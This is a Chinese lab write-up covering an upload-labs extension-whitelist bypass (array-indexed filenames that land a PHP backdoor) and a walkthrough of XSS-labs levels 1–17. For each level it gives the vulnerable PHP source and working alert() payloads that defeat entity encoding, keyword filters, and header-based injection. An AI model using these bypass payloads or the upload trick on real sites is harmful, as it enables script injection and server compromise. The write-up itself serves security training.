$file = explode('.', strtolower($file)); //通过点分割将文件名分成一个数组
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
我们要改的就是下面的要求 修改content-type
修改POST参数为数组类型,索引[0]为upload-20.php
,索引[2]为jpg|png|gif
。
只要第二个索引不为1
,$file[count($file) – 1]就等价于$file[2-1],值为空
漏洞成因:
$file_name = reset($file) . '.' . $file[count($file) - 1];
这个代码会先将我们的我们的文件名判断是否为数组,如果不是数组,那么会利用$file = explode('.', strtolower($file));,这个代码将"."作为分割条件,将我们上传的文件名分割成数组。例如上传1.php就会得到数组[0]的元素为1,数组[1]的元素为php,
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}
然后这串代码会在分割后与,将我们数组元素中的最后一个值进行检查,看是否在访问白名单之中。
$file_name = reset($file) . '.' . $file[count($file) - 1];
检查完毕后,这个代码又会将我们上传的文件数统计出来,然后我们的数组进行重新拼接得到完整的文件名,保存下来。
漏洞成因:如果我们将文件名按照数组方式,采用手动方式上传,那么就不会经过重新划分文件名的过程,从而我们可以自动规定每个数组元素中的值,这样我们就可以直接规定数组元素最后一个值为白名单中的格式,如png,而数组中的其他值我们可以不写,那么在最后拼接时,系统会默认为null。这样就能构成payload如上图:
save_name[0] 为php,即我们的脚本后门文件格式
save_name[1] 可以不写或者写null
save_name[2、3、4、其他值(只要大于1就行,不然无法逃脱绕过最后一个元素的检查)] 为白名单中的格式。
例如我们上传save_name[0] 为1.php
save_name[3] 为png,
首先经过代码,会被识别成数组,检查数组名为最后一个即end($file)获取到save_name[3]的值,绕过了后缀名检测,然后经过$file_name = reset($file) . '.' . $file[count($file) - 1]; 首先count($file) - 1得到的值为1,因为我们一共上传了两个实际上的变量save_name[0]和save_name[3],所以cunt值为2,再减一则为1。所以count($file) - 1的值为1
然后拼接文件名则会将save_name[0]的值和save_name[1]的值用.号拼接,于是就变成1.php(save_name[0]的值)拼接".",再拼接save_name[1]的值,因为我们没有赋值,所以为null,最后得到的文件名就变成了1.php. 从而上传到服务器,被识别成1.php,属于一种逻辑漏洞。
XSS-labs靶场系列
less-1(get传参XSS)
打开靶场,可以看到name参数值为test,网页存在相应的回显,且payload长度也回显,于是进行测试输入1111,也可以对应的回显点发现了变化。
检查元素,查看网页源代码可以发现get传参name的值test插入了html里头,还回显了payload的长度
直接插入一段js代码,get传参
<script>alert(1)</script>
成功完成
查看关卡源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到参数以GET方式传递,然后并没有对传递的参数进行一个限制。
less-2(闭合绕过实体化)
进入关卡可以发现和上一关一样,查看一下网页源代码,可以发现这里是以form表单的形式进行参数提交
尝试输入一下,发现并没有过关提示
<script>alert(1)</script>
查看一下网页源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到存在一个htmlspecialchars()函数,该函数功能与PHP中的另一个函数htmlentities() 类似
htmlspecialchars() 函数:可以把把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体。
例如:
<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>
输出结果为
<!DOCTYPE html>
<html>
<body>
This is some <b>bold</b> text.
</body>
</html>
浏览器输出为
This is some <b>bold</b> text.
htmlentities()也是同样的道理:把字符转换为 HTML 实体
根据这个函数会将<>这种特殊符号实体化的原理,可以将payload改为
"> <script>alert(1)</script> <" 或者 "> <script>alert(1)</script>
这样网页源代码中的value输入值,也就是下面这个value中的值就会
变成
<input> name="keyword" value=""> <script>alert(1)</script> <""
这样就实现了绕过
less-3(事件触发绕过实体化)
这一关跟上一关类似:
查看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到这关跟上一关代码类似,只是在echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
处将"闭合改成了单引号‘闭合
于是编写payload:'> <script>alert()</script> <'
再次仔细查看源代码,发现在<input name=keyword value='”.htmlspecialchars($str).”‘> 表单输入处也进行了html实体化,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,这里我们可以利用onclick事件绕过,也就是事件触发型绕过。
下面是一些常见的HTML事件的列表:
事件 | 描述 |
---|---|
onchange | HTML 元素改变 |
onclick | 用户点击 HTML 元素 |
onmouseover | 鼠标指针移动到指定的元素上时发生 |
onmouseout | 用户从一个 HTML 元素上移开鼠标时发生 |
onkeydown | 用户按下键盘按键 |
onload | 浏览器已完成页面的加载 |
更多事件列表,可以参照:HTML DOM 事件对象 | 菜鸟教程
这里我们使用一个onclick事件,事件在用户点击时触发,最常与<input> 、<select>、<a> 和 标签一起使用,以上面图片的html标签为例,标签是有输入框的,简单来说,onclick事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码。
伪协议:伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript: 我们可以在浏览地址栏里输入”javascript:alert(‘JS!’);”,点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。这样的URL如下所示:
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
当浏览器装载了这样的URL时,它将执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。这个字符串值可以含有HTML标记,并被格式化,其显示与其他装载进浏览器的文档完全相同。
在浏览器打开javascript:URL的时候,它会先运行URL中的代码,当返回值不为undefined的时候,前页链接会替换为这段代码的返回值。
javascript URL还可以含有只执行动作,但不返回值的javascript语句。例如:
javascript:alert("hello world!")
装载了这种URL时,浏览器仅执行其中的javascript代码,但由于没有作为新文档来显示的值,因此它并不改变当前显示的文档。
通常我们想用javascript:URL执行某些不改变当前显示的文档的javascript代码。要做到这一点,必须确保URL中的最后一条语句没有返回值。一种方法是用void运算符显式地把返回值指定为underfined,只需要在javascript:URL的结尾使用语句void 0;即可。例如:下面的URL将打开一个新的空浏览器窗口,而不改变当前窗口的内容:
javascript:window.open("about:blank"); void 0;
如果这个URL没有void运算符,window.open()方法的返回值将被转换成字符串并被显示出来,当前窗口将被如下所示的文档覆盖
根据上述原理我们可以编写payload:
'onclick=javascript:alert(1)'> 同时利用伪协议和html事件类型来绕过html实体化对<>特殊符号的转化
还缺少一个单引号闭合,最后payload改成下面即可
'onclick='javascript:alert(1)
最后再点击搜索框即可完成
less-4(事件绕过<>过滤)
可以看到当我们输入<script>alert(1)</script> 的时候<>发生了消失,回显的是scriptalert(1)/script
于是猜测可能<>被过滤了,查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
可以看到当代码以GET方式获取参数之后,会对参数进行处理,将参数中的><号替换为空,所以呈现出我们在浏览器上看到的结果,且使用的是双引号闭合
于是仍然可以采用onclick来消除<>的存在:
" onclick="alert(1) 或者 " onfocus=javascript:alert(1) "
less-5(a标签绕过一些过滤)
输入<script>alert(1)</script> 可以看到在input处代码自动被转换成<scr_ipt>alert(1)</script>
尝试一下用事件类型进行绕过
" onfocus=javascript:alert() "
可以看到onfocus也被进行转义了,查看一下php源代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
可以看到源代码中是对on字符script字符进行了一个过滤,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,这里我们用a href标签法,
href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码
添加一个标签得闭合前面的标签,于是构建payload,前提是闭合号<“”>没失效
"> <a href=javascript:alert()>xxx</a> <"
那么输入进去之后就能得到
<input name=keyword value=""> <a href=javascript:alert()>xxx</a> <"">
此时点击XXX就会触发a标签href属性,即可完成该关
less-6(大小写绕过字符替换 )
输入onfocus <script> <a href=javascript:alert()> 可以发现,关键字都被进行了过滤
尝试一下大小写绕过OnFocus <sCriPt> <a hReF=javascript:alert()>
发现大小写没有被过滤掉,这题能利用大小写进行绕过,所以我们可以用下面的方法,构造payload
"> <sCript>alert(1)</sCript> <"
" Onfocus=javascript:alert(1) "
"> <a hRef=javascript:alert(1)>x</a> <"
点击X即可完成挑战,完事查看一下关卡源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这关甚至还过滤掉了data,但是没有添加小写转化函数 ,导致能用大写绕过
less-7(双拼写绕过删除函数,img标签与iframe标签插入 )
测试一下:
可以看到我们的传进去的值,script关键字被过滤了,双引号也被过滤了,再试一下 ” OnFocus <sCriPt> <a hReF=javascript:alert()>
可以看到传进去的值,被转化变成了” focus <> <a =java:alert()>,并且也能发现这里对大写绕过进行了小写转换,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过。
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on;比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
这里我们构造<a>标签双写属性
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
成功绕过,然后点击X 即可完成关卡,完事我们看一下这关的源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这关甚至还过滤掉了src和data,受不了了,居然还有我不知道的解法,我们百度找找看其他解法
src(source)是一个指向,可以大概理解跟href一样把,只是执行的内容不太一样
data一般在<iframe>标签中用来配合date:text/html(貌似解码的含义)
onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例,这里因为src指向的是值666,而不是图片的地址和base64编码啥的,就会导致触发alert函数
例如在第二关中可以采用:”> <img src=’666′ onerror=alert()> <”
配合onerror属性,插入一个<img>标签,闭合掉双引号跟括号,构造payload
当然img标签还有其他姿势
当鼠标移出图片的时候执行的属性onmouseout
"> <img src=666 onmouseout="alert()"> <"
当鼠标移动到图片的时候执行的属性onmouseover
"> <img src=1 onmouseover="alert()"> <"
再来看看data的,这里利用iframe标签,插入一个标签data:text/html;base64, 将后面的内容进行base64解码,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+进行base64解码后是<script>alert()</script>
"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <"
虽然有弹窗,但是没有过关
less-8( href属性自动解析Unicode编码)
打开是一个添加友情链接页面的一个界面
随便输入一个123试试,发现在input标签和href属性都添加了对应的回显
老方法,先看看过滤了啥关键字
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
可以看到input标签中添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、”(双引号)
看一下源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
可以看到代码中的标签大多数都被进行了一个过滤
那么我们可以利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
payload:javascript:alert()
利用在线工具进行Unicode编码后得到
javascript:alert()
接着我们插入href里面
点击友情链接
less-9(插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可 )
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
先测试看看过滤了什么,
看起来貌似没有插入成功,查看一下源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
可以看到这里有实体化和一些基础的过滤,但在最后的php中添加了条件判断,当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload
payload:javascript:alert() Unicode编码后加上http:// 再注释掉http://
javascript:alert()/* http:// */
然后再点击友情链接,即可完成
less-10(猜解传参的参数名,隐藏的input标签可以插入type=”text”显示 )
可以看到get传参得到的值再h2中得到显示,并且form表单中的值是以hidden的形式存储的,查看一下源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到代码中存在实体化过滤<>,可以采用onfocus事件,且存在两个参数名,一个是keyword、一个是t_sort,且这里输入框被隐藏了,需要添加type="text",构造payload
?t_sort=" onfocus=javascript:alert() type="text
然后点击出现的搜索框即可。
less-11(http头传值,本关是referer,也有可能是其他头如Cookie等)
<input>标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看
GET传参
?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
没赋值成功,再试试看POST传参:
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
POST传参也不得,那应该就referer头了,用burpsuite抓包一下,添加http头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
放行数据包再查看一下源码
对比发现,把大于小于号><给删掉了,但是我们还能用onfocus,构造一个http头
Referer: " onfocus=javascript:alert() type="text
然后只需点击选中搜索框即可
之后我们再看一下这关的源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
跟猜想的一样,这题还有GET传参的,但是有实体化函数在双引号就闭合不了了
less-12(UA头传值)
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
payload:" onfocus=javascript:alert() type="text
然后点击搜索框即可完成
less-13(cookie传参)
源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
payload:" onclick=alert() type="text
然后点击搜索框即可
less-14(exif xss)
这一关比较特殊,payload是一张图片马,考到了CTF中的杂项中隐写Exif隐藏信息,就不展开讲了,感兴趣的可以去百度搜搜
首先什么是exif
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。
这关没啥交互,只是会定时转跳到一个奇怪的已经挂掉了的网站,直接看一下后端源码吧,跟源码一样,这题本来是利用转跳到的网站,在那网站去上传一个,属性里面含有xss代码的图片,以达到弹窗的效果
源代码
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
payload
参考:[靶场] XSS-Labs 14-20_xss-labs第14关-CSDN博客
less-15(ng-include文件包涵,可以无视html实体化)
可以看到这儿有个陌生的东西ng-include
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
参考:AngularJS ng-include 指令 | 菜鸟教程
查看源代码:
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
我们先试试看包涵第一关,构建payload
?src='/level1.php'
所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload
?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload
?src='level1.php?name=<img src=1 onerror=alert(1)>'
当鼠标移动到图片的时候就触发了弹窗
当然也能用p标签,可以构造payload
?src='/level1.php?name=<p onmousedown=alert()>哈哈哈</p>'
点击哈哈哈即可弹窗,接下来我们看一下这关的后端源码
less-16(回车%0A代替空格绕过检测)
test插入到了center标签中,所以这里就不用闭合了,老规矩,先测试一波关键字
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,谁知道也将/给替换成了空格,无奈,只好查看源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签,更多标签可参考XSS常见的触发标签,随便选个标签,将空格替换成回车的url编码,构造payload
?keyword=<svg%0Aonload=alert(1)>
%0D回车也可以当成空格使用,在HTML中这样是合法的。
level 17(embed 标签 拼接绕过)
先测测关键字吧
?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
对比发现,虽然加了该死的html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)
我们来看看embed标签是啥
<embed>
标签,是用来嵌入图片的。可以用onclick或onmouseover绕过。因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onclick或onmouseover看作另外一个属性。
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,他们就能有块错误的区域
再看一下onfocus和onclick事件,这两事件是等价的,都是一触即发
支持的标签范围还广,也就是支持embed标签 ,这里呢我们可以尝试插入该标签
再看一下onmouse系列的事件
跟onfocus事件支持的标签一样
所以,这题的解法很简单,首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有),如果不想下载的话,自己去后端改一下也行,将后端第十七关的代码(level17.php)指向的swf文件改为index.png
改为:
这样我们再去打开第十七关的网站
